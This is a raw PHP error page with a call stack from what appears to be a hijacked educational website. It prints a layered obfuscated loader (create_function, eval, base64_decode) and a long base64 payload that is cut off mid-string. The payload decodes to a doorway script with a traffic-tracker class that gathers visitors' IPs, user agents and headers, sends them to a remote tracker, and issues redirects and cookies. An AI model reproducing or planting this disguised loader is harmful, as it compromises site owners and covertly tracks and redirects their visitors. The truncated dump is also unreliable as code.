( ! ) Notice: Undefined offset: 2 in /home/mytoolsshoppy/public_html/nes.edu.in/zehi/bqpj.php(143) : runtime-created function(1) : eval()'d code(156) : runtime-created function(1) : eval()'d code on line 739
Call Stack
#TimeMemoryFunctionLocation
10.0005362336{main}( ).../bqpj.php:0
20.0010421000__lambda_func( ).../bqpj.php:145
30.0012497632eval( ' $____='printf';$___________='WordPress Class...'; $___ = 'Y3JlYXRlX0ZVTkNUSU9O' ; $______= 'cmV0dXJuIGV2YWwoJF9fXyk7' ; $____ = 'base64_decode'; $___________='DQoJJGRvb3JfdHBsID0gImF1dG9fMjIwN18xIjsNCgkkbXlfY2FtcF9JRCA9ICJXYmNHTG03Yk15R3RmMjQxIjsNCgkkcGFja19uYW1lICA9ICIyMzA3X3ByZWNhY2hlZF9OT1NMQVNIIjsNCgkkdHh0X2ZpbGVuYW1lICA9ICJicXBqIjsNCgkNCg0KJG15X2dldF9hcnIgPSBhcnJheV92YWx1ZXMoJF9HRVQpOw0KJG15Zm5hbWUgPSAkbXlfZ2V0X2FyclswXTsNCgkNCmNsYXNzIEtDbGlja0NsaWVudA0Kew0KICAgIGNvbnN0IFNFU1NJT05fU1VCX0lEID0gJ3N1Yl9pZCc7DQogICAgY29uc3QgU0VTU0lPTl9MQU5ESU5HX1RPS0VOID0gJ2xhbmRpbmdfdG9rZW4nOw0KICAgIC8qKiBAdmVyc2lvbiAzLjUgKiovDQogICAgY29uc3QgVkVSU0lPTiA9IDM7DQogICAgY29uc3QgU1RBVEVfU0VTU0lPTl9LRVkgPSAna2VpdGFyb19zdGF0ZSc7DQogICAgY29uc3QgU1RBVEVfU0VTU0lPTl9FWFBJUkVTX0tFWSA9ICdrZWl0YXJvX3N0YXRlX2V4cGlyZXMnOw0KICAgIGNvbnN0IERFRkFVTFRfVFRMID0gMTsNCiAgICAvKioNCiAgICAgKiBAdmFyIEtIdHRwQ2xpZW50DQogICAgICovDQogICAgcHJpdmF0ZSAkX2h0dHBDbGllbnQ7DQogICAgcHJpdmF0ZSAkX2RlYnVnID0gZmFsc2U7DQogICAgcHJpdmF0ZSAkX3RyYWNrZXJVcmw7DQogICAgcHJpdmF0ZSAkX3BhcmFtcyA9IGFycmF5KCk7DQogICAgcHJpdmF0ZSAkX2xvZyA9IGFycmF5KCk7DQogICAgcHJpdmF0ZSAkX2V4Y2x1ZGVQYXJhbXMgPSBhcnJheSgnYXBpX2tleScsICd0b2tlbicsICdsYW5ndWFnZScsICd1YScsICdpcCcsICdyZWZlcnJlcicsICdmb3JjZV9yZWRpcmVjdF9vZmZlcicpOw0KICAgIHByaXZhdGUgJF9yZXN1bHQ7DQogICAgcHJpdmF0ZSAkX3N0YXRlUmVzdG9yZWQ7DQoNCiAgICBjb25zdCBFUlJPUiA9ICdbS1RyYWZmaWNDbGllbnRdIFNvbWV0aGluZyBpcyB3cm9uZy4gRW5hYmxlIGRlYnVnIG1vZGUgdG8gc2VlIHRoZSByZWFzb24uJzsNCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdHJhY2tlclVybCwgJHRva2VuKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPnRyYWNrZXJVcmwoJHRyYWNrZXJVcmwpOw0KICAgICAgICAkdGhpcy0+Y2FtcGFpZ25Ub2tlbigkdG9rZW4pOw0KICAgICAgICAkdGhpcy0+dmVyc2lvbihzZWxmOjpWRVJTSU9OKTsNCiAgICAgICAgJHRoaXMtPnBhcmFtKCdpbmZvJywgMSk7DQogICAgICAgICR0aGlzLT5maWxsUGFyYW1zKCk7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGZpbGxQYXJhbXMoKQ0KICAgIHsNCiAgICAgICAgJHJlZmVycmVyID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSA/ICRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSA6IG51bGw7DQogICAgICAgICR0aGlzLT5zZXRIdHRwQ2xpZW50KG5ldyBLSHR0cENsaWVudCgpKTsNCg0KICAgICAgICAkdGhpcy0+aXAoJHRoaXMtPl9maW5kSXAoKSkNCiAgICAgICAgICAgIC0+dWEoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSA/ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSA6IG51bGwpDQogICAgICAgICAgICAtPmxhbmd1YWdlKChpc3NldCgkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSkgPyBzdWJzdHIoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10sIDAsIDIpIDogJycpKQ0KICAgICAgICAgICAgLT5zZVJlZmVycmVyKCRyZWZlcnJlcikNCiAgICAgICAgICAgIC0+cmVmZXJyZXIoJHJlZmVycmVyKQ0KICAgICAgICAgICAgLT5wYXJhbSgnb3JpZ2luYWxfaGVhZGVycycsIGdldGFsbGhlYWRlcnMoKSkNCiAgICAgICAgICAgIC0+cGFyYW0oJ29yaWdpbmFsX2hvc3QnLCBpc3NldCgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pID8gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIDogJ2xvY2FsaG9zdCcpDQogICAgICAgICAgICAtPnBhcmFtKCdrdmVyc2lvbicsICczLjQnKTsNCg0KICAgICAgICBpZiAoJHRoaXMtPmlzUHJlZmV0Y2hEZXRlY3RlZCgpKSB7DQogICAgICAgICAgICAkdGhpcy0+cGFyYW0oJ3ByZWZldGNoJywgMSk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gY3VycmVudFBhZ2VBc1JlZmVycmVyKCkNCiAgICB7DQogICAgICAgICR0aGlzLT5yZWZlcnJlcigkdGhpcy0+X2dldEN1cnJlbnRQYWdlKCkpOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGRlYnVnKCRzdGF0ZSA9IHRydWUpDQogICAgew0KICAgICAgICAkdGhpcy0+X2RlYnVnID0gJHN0YXRlOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHNlUmVmZXJyZXIoJHNlUmVmZXJyZXIpDQogICAgew0KICAgICAgICAkdGhpcy0+X3BhcmFtc1snc2VfcmVmZXJyZXInXSA9ICRzZVJlZmVycmVyOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHJlZmVycmVyKCRyZWZlcnJlcikNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWydyZWZlcnJlciddID0gJHJlZmVycmVyOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHNldEh0dHBDbGllbnQoJGh0dHBDbGllbnQpDQogICAgew0KICAgICAgICAkdGhpcy0+X2h0dHBDbGllbnQgPSAkaHR0cENsaWVudDsNCiAgICAgICAgcmV0dXJuICR0aGlzOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiB0cmFja2VyVXJsKCRuYW1lKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl90cmFja2VyVXJsID0gJG5hbWU7DQogICAgfQ0KDQogICAgLy8gQGRlcHJlY2F0ZWQNCiAgICBwdWJsaWMgZnVuY3Rpb24gdG9rZW4oJHRva2VuKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5jYW1wYWlnblRva2VuKCR0b2tlbik7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGNhbXBhaWduVG9rZW4oJGNhbXBhaWduVG9rZW4pDQogICAgew0KICAgICAgICAkdGhpcy0+X3BhcmFtc1sndG9rZW4nXSA9ICRjYW1wYWlnblRva2VuOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KICAgIHB1YmxpYyBmdW5jdGlvbiB2ZXJzaW9uKCR2ZXJzaW9uKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl9wYXJhbXNbJ3ZlcnNpb24nXSA9ICR2ZXJzaW9uOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHVhKCR1YSkNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWyd1YSddID0gJHVhOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGxhbmd1YWdlKCRsYW5ndWFnZSkNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWydsYW5ndWFnZSddID0gJGxhbmd1YWdlOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGtleXdvcmQoJGtleXdvcmQpDQogICAgew0KICAgICAgICAkdGhpcy0+X3BhcmFtc1sna2V5d29yZCddID0gJGtleXdvcmQ7DQogICAgICAgIHJldHVybiAkdGhpczsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZm9yY2VSZWRpcmVjdE9mZmVyKCkNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWydmb3JjZV9yZWRpcmVjdF9vZmZlciddID0gMTsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gaXAoJGlwKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl9wYXJhbXNbJ2lwJ10gPSAkaXA7DQogICAgICAgIHJldHVybiAkdGhpczsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gc2VuZFV0bUxhYmVscygpDQogICAgew0KICAgICAgICBmb3JlYWNoICgkX0dFVCBhcyAkbmFtZSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgIGlmIChzdHJzdHIoJG5hbWUsICd1dG1fJykpIHsNCiAgICAgICAgICAgICAgICAkdGhpcy0+X3BhcmFtc1skbmFtZV0gPSAkdmFsdWU7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0TGFuZGluZ1Rva2VuKCR0b2tlbikNCiAgICB7DQogICAgICAgICR0aGlzLT5fc3RhcnRTZXNzaW9uKCk7DQogICAgICAgICRfU0VTU0lPTlsndG9rZW4nXSA9ICR0b2tlbjsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0U3ViSWQoKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICBpZiAoZW1wdHkoJHJlc3VsdC0+aW5mby0+c3ViX2lkKSkgew0KICAgICAgICAgICAgJHRoaXMtPmxvZygnTm8gc3ViX2lkIGlzIGRlZmluZWQnKTsNCiAgICAgICAgICAgIHJldHVybiAnbm9fc3ViaWQnOw0KICAgICAgICB9DQogICAgICAgICRzdWJJZCA9ICRyZXN1bHQtPmluZm8tPnN1Yl9pZDsNCiAgICAgICAgcmV0dXJuICRzdWJJZDsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0VG9rZW4oKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICBpZiAoZW1wdHkoJHJlc3VsdC0+aW5mby0+c3ViX2lkKSkgew0KICAgICAgICAgICAgJHRoaXMtPmxvZygnTm8gbGFuZGluZyB0b2tlbiBpcyBkZWZpbmVkJyk7DQogICAgICAgICAgICByZXR1cm4gJ25vX3Rva2VuJzsNCiAgICAgICAgfQ0KICAgICAgICAkc3ViSWQgPSAkcmVzdWx0LT5pbmZvLT50b2tlbjsNCiAgICAgICAgcmV0dXJuICRzdWJJZDsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gc2VuZEFsbFBhcmFtcygpDQogICAgew0KICAgICAgICBmb3JlYWNoICgkX0dFVCBhcyAkbmFtZSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgIGlmIChlbXB0eSgkdGhpcy0+X3BhcmFtc1skbmFtZV0pICYmICFpbl9hcnJheSgkbmFtZSwgJHRoaXMtPl9leGNsdWRlUGFyYW1zKSkgew0KICAgICAgICAgICAgICAgICR0aGlzLT5fcGFyYW1zWyRuYW1lXSA9ICR2YWx1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiByZXN0b3JlRnJvbVNlc3Npb24oKQ0KICAgIHsNCiAgICAgICAgaWYgKCR0aGlzLT5pc1N0YXRlUmVzdG9yZWQoKSkgew0KICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICB9DQogICAgICAgICR0aGlzLT5fc3RhcnRTZXNzaW9uKCk7DQogICAgICAgIGlmICghZW1wdHkoJF9TRVNTSU9OW3NlbGY6OlNUQVRFX1NFU1NJT05fS0VZXSkpIHsNCiAgICAgICAgICAgIGlmICgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9FWFBJUkVTX0tFWV0gPCB0aW1lKCkpIHsNCiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9LRVldKTsNCiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9FWFBJUkVTX0tFWV0pOw0KICAgICAgICAgICAgICAgICR0aGlzLT5sb2coJ1N0YXRlIGV4cGlyZWQnKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJHRoaXMtPl9yZXN1bHQgPSBqc29uX2RlY29kZSgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9LRVldLCBmYWxzZSk7DQogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCR0aGlzLT5fcmVzdWx0KSAmJiBpc3NldCgkdGhpcy0+X3Jlc3VsdC0+aGVhZGVycykpIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPl9yZXN1bHQtPmhlYWRlcnMgPSBhcnJheSgpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkdGhpcy0+X3N0YXRlUmVzdG9yZWQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICR0aGlzLT5sb2coJ1N0YXRlIHJlc3RvcmVkJyk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVzdG9yZUZyb21RdWVyeSgpDQogICAgew0KICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ19zdWJpZCddKSkgew0KICAgICAgICAgICAgJHRoaXMtPl9zdGF0ZVJlc3RvcmVkID0gdHJ1ZTsNCiAgICAgICAgICAgIGlmIChlbXB0eSgkdGhpcy0+X3Jlc3VsdCkpIHsNCiAgICAgICAgICAgICAgICAkdGhpcy0+X3Jlc3VsdCA9IG5ldyBTdGRDbGFzcygpOw0KICAgICAgICAgICAgICAgICR0aGlzLT5fcmVzdWx0LT5pbmZvID0gbmV3IFN0ZENsYXNzKCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkdGhpcy0+X3Jlc3VsdC0+aW5mby0+c3ViX2lkID0gJF9HRVRbJ19zdWJpZCddOw0KICAgICAgICAgICAgJHRoaXMtPmxvZygnU3ViSWQgbG9hZGVkIGZyb20gcXVlcnknKTsNCiAgICAgICAgICAgIGlmIChpc3NldCgkX0dFVFsnX3Rva2VuJ10pKSB7DQogICAgICAgICAgICAgICAgJHRoaXMtPl9yZXN1bHQtPmluZm8tPnRva2VuID0gJF9HRVRbJ190b2tlbiddOw0KICAgICAgICAgICAgICAgICR0aGlzLT5sb2coJ0xhbmRpbmcgdG9rZW4gbG9hZGVkIGZyb20gcXVlcnknKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICR0aGlzLT5fc3RvcmVTdGF0ZSgkdGhpcy0+X3Jlc3VsdCwgc2VsZjo6REVGQVVMVF9UVEwpOw0KICAgICAgICAgICAgJHRoaXMtPl9zdGF0ZVJlc3RvcmVkID0gdHJ1ZTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBpc1N0YXRlUmVzdG9yZWQoKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5fc3RhdGVSZXN0b3JlZDsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNQcmVmZXRjaERldGVjdGVkKCkNCiAgICB7DQogICAgICAgICRjaGVja1NlcnZlclBhcmFtcyA9IGFycmF5KCdIVFRQX1hfUFVSUE9TRScgPT4gJ3ByZXZpZXcnLCAnSFRUUF9YX01PWicgPT4gJ3ByZWZldGNoJywgJ0hUVFBfWF9GQl9IVFRQX0VOR0lORScgPT4gJ0xpZ2VyJyk7DQogICAgICAgIGZvcmVhY2ggKCRjaGVja1NlcnZlclBhcmFtcyBhcyAkbmFtZSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlskbmFtZV0pICYmICRfU0VSVkVSWyRuYW1lXSA9PSAkdmFsdWUpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHNhdmVDb29raWUoJGtleSwgJHZhbHVlLCAkdHRsKQ0KICAgIHsNCiAgICAgICAgaWYgKGlzc2V0KCRfQ09PS0lFWyRrZXldKSAmJiAkX0NPT0tJRVska2V5XSA9PSAkdmFsdWUpIHsNCiAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoIWhlYWRlcnNfc2VudCgpKSB7DQogICAgICAgICAgICBzZXRjb29raWUoJGtleSwgJHZhbHVlLCAkdGhpcy0+X2dldENvb2tpZXNFeHBpcmVUaW1lc3RhbXAoJHR0bCksICcvJywgJHRoaXMtPl9nZXRDb29raWVIb3N0KCkpOw0KICAgICAgICB9DQogICAgICAgICRfQ09PS0lFWyRrZXldID0gJHZhbHVlOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBwYXJhbSgkbmFtZSwgJHZhbHVlKQ0KICAgIHsNCiAgICAgICAgaWYgKCFpbl9hcnJheSgkbmFtZSwgJHRoaXMtPl9leGNsdWRlUGFyYW1zKSkgew0KICAgICAgICAgICAgJHRoaXMtPl9wYXJhbXNbJG5hbWVdID0gJHZhbHVlOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkdGhpczsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gcGFyYW1zKCR2YWx1ZSkNCiAgICB7DQogICAgICAgIGlmICghZW1wdHkoJHZhbHVlKSkgew0KICAgICAgICAgICAgaWYgKGlzX3N0cmluZygkdmFsdWUpKSB7DQogICAgICAgICAgICAgICAgcGFyc2Vfc3RyKCR2YWx1ZSwgJHJlc3VsdCk7DQogICAgICAgICAgICAgICAgZm9yZWFjaCAoJHJlc3VsdCBhcyAkbmFtZSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnBhcmFtKCRuYW1lLCAkdmFsdWUpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIHJldHVybiAkdGhpczsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVzZXQoKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl9yZXN1bHQgPSBudWxsOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBwZXJmb3JtUmVxdWVzdCgpDQogICAgew0KICAgICAgICBpZiAoJHRoaXMtPl9yZXN1bHQpIHsNCiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+X3Jlc3VsdDsNCiAgICAgICAgfQ0KICAgICAgICAkcmVxdWVzdCA9ICR0aGlzLT5fYnVpbGRSZXF1ZXN0VXJsKCk7DQogICAgICAgICRwYXJhbXMgPSAkdGhpcy0+Z2V0UGFyYW1zKCk7DQogICAgICAgICRvcHRpb25zID0gJHRoaXMtPl9nZXRSZXF1ZXN0T3B0aW9ucygpOw0KICAgICAgICAkdGhpcy0+bG9nKCdSZXF1ZXN0OiAnIC4gJHJlcXVlc3QpOw0KICAgICAgICB0cnkgew0KICAgICAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5faHR0cENsaWVudC0+cmVxdWVzdCgkcmVxdWVzdCwgJHBhcmFtcywgJG9wdGlvbnMpOw0KICAgICAgICAgICAgJHRoaXMtPmxvZygnUmVzcG9uc2U6ICcgLiAkcmVzdWx0KTsNCiAgICAgICAgfSBjYXRjaCAoS1RyYWZmaWNDbGllbnRFcnJvciAkZSkgew0KICAgICAgICAgICAgaWYgKCR0aGlzLT5fZGVidWcpIHsNCiAgICAgICAgICAgICAgICB0aHJvdyAkZTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIHNlbGY6OkVSUk9SOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgICR0aGlzLT5fcmVzdWx0ID0ganNvbl9kZWNvZGUoJHJlc3VsdCk7DQogICAgICAgICR0aGlzLT5fc3RvcmVTdGF0ZSgNCiAgICAgICAgICAgICR0aGlzLT5fcmVzdWx0LA0KICAgICAgICAgICAgaXNzZXQoJHRoaXMtPl9yZXN1bHQtPmNvb2tpZXNfdHRsKSA/ICR0aGlzLT5fcmVzdWx0LT5jb29raWVzX3R0bCA6IG51bGwNCiAgICAgICAgKTsNCg0KICAgICAgICBpZiAoaXNzZXQoJHRoaXMtPl9yZXN1bHQtPmNvb2tpZXMpKSB7DQogICAgICAgICAgICAkdGhpcy0+X3NhdmVLZWl0YXJvQ29va2llcygkdGhpcy0+X3Jlc3VsdC0+Y29va2llcyAsICR0aGlzLT5fcmVzdWx0LT5jb29raWVzX3R0bCk7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICR0aGlzLT5fcmVzdWx0Ow0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBleGVjdXRlKCRicmVhayA9IGZhbHNlLCAkcHJpbnQgPSB0cnVlKQ0KICAgIHsNCiAgICAgICAgJGNvbnRlbnQgPSAkdGhpcy0+Z2V0Q29udGVudCgpOw0KDQogICAgICAgIGlmICgkcHJpbnQpIHsNCiAgICAgICAgICAgICRoZWFkZXJzID0gJHRoaXMtPnNlbmRIZWFkZXJzKCk7DQogICAgICAgICAgICBlY2hvICRjb250ZW50Ow0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICRjb250ZW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKCRicmVhayAmJiAoIWVtcHR5KCRjb250ZW50KSB8fCAkdGhpcy0+Y2hlY2tIZWFkZXJzKCRoZWFkZXJzKSkpIHsNCiAgICAgICAgICAgIGV4aXQ7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gY2hlY2tIZWFkZXJzKCRoZWFkZXJzKQ0KICAgIHsNCiAgICAgICAgaWYgKGVtcHR5KCRoZWFkZXJzKSkgew0KICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICB9DQogICAgICAgIGZvcmVhY2ggKCRoZWFkZXJzIGFzICRoZWFkZXIpIHsNCiAgICAgICAgICAgIGlmIChzdHJwb3MoJGhlYWRlciwgJ0xvY2F0aW9uOicpID09PSAwKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAoJGhlYWRlciA9PSAnSFRUUC8xLjEgNDA0IE5vdCBGb3VuZCcpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGdldENvbnRlbnQoKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICAkY29udGVudCA9ICcnOw0KICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQpKSB7DQogICAgICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQtPmVycm9yKSkgew0KICAgICAgICAgICAgICAgICRjb250ZW50IC49ICAkcmVzdWx0LT5lcnJvcjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmICghZW1wdHkoJHJlc3VsdC0+Ym9keSkpIHsNCiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJHJlc3VsdC0+Y29udGVudFR5cGUpICYmIChzdHJzdHIoJHJlc3VsdC0+Y29udGVudFR5cGUsICdpbWFnZScpIHx8IHN0cnN0cigkcmVzdWx0LT5jb250ZW50VHlwZSwgJ2FwcGxpY2F0aW9uL3BkZicpKSkgew0KICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9IGJhc2U2NF9kZWNvZGUoJHJlc3VsdC0+Ym9keSk7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgJGNvbnRlbnQgLj0gJHJlc3VsdC0+Ym9keTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICByZXR1cm4gJGNvbnRlbnQ7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHNob3dMb2coJHNlcGFyYXRvciA9ICc8YnIgLz4nKQ0KICAgIHsNCiAgICAgICAgZWNobyAnPGhyPicgLiBpbXBsb2RlKCRzZXBhcmF0b3IsICR0aGlzLT5nZXRMb2coKSkuICc8aHI+JzsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gbG9nKCRtc2cpDQogICAgew0KICAgICAgICBpZiAoJHRoaXMtPl9kZWJ1Zykgew0KICAgICAgICAgICAgZXJyb3JfbG9nKCRtc2cpOw0KICAgICAgICB9DQogICAgICAgICR0aGlzLT5fbG9nW10gPSAkbXNnOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRMb2coKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5fbG9nOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBleGVjdXRlQW5kQnJlYWsoKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPmV4ZWN1dGUodHJ1ZSk7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGdldFBhcmFtcygpDQogICAgew0KICAgICAgICByZXR1cm4gJHRoaXMtPl9wYXJhbXM7DQogICAgfQ0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfc3RvcmVTdGF0ZSgkcmVzdWx0LCAkdHRsKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl9zdGFydFNlc3Npb24oKTsNCiAgICAgICAgJF9TRVNTSU9OW3NlbGY6OlNUQVRFX1NFU1NJT05fS0VZXSA9IGpzb25fZW5jb2RlKCRyZXN1bHQpOw0KICAgICAgICAkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9FWFBJUkVTX0tFWV0gPSB0aW1lKCkgKyAoJHR0bCAqIDYwICogNjApOw0KDQogICAgICAgIC8vIGZvciBiYWNrLWNvbXBhdGliaWxpdHkgcHVycG9zZQ0KICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQtPmluZm8pKSB7DQogICAgICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQtPmluZm8tPnN1Yl9pZCkpIHsNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bc2VsZjo6U0VTU0lPTl9TVUJfSURdID0gJHJlc3VsdC0+aW5mby0+c3ViX2lkOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKCFlbXB0eSgkcmVzdWx0LT5pbmZvLT50b2tlbikpIHsNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bc2VsZjo6U0VTU0lPTl9MQU5ESU5HX1RPS0VOXSA9ICRyZXN1bHQtPmluZm8tPnRva2VuOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfc2F2ZUtlaXRhcm9Db29raWVzKCRjb29raWVzLCAkdHRsKQ0KICAgIHsNCiAgICAgICAgZm9yZWFjaCAoJGNvb2tpZXMgYXMgJGtleSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgICR0aGlzLT5zYXZlQ29va2llKCRrZXksICR2YWx1ZSwgJHR0bCk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gc2VuZEhlYWRlcnMoKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICAkaGVhZGVycyA9IGFycmF5KCk7DQogICAgICAgICRmaWxlID0gIiI7DQogICAgICAgICRsaW5lID0gIiI7DQogICAgICAgIGlmIChoZWFkZXJzX3NlbnQoJGZpbGUsICRsaW5lKSkgew0KICAgICAgICAgICAgJG1zZyA9ICJCb2R5IG91dHB1d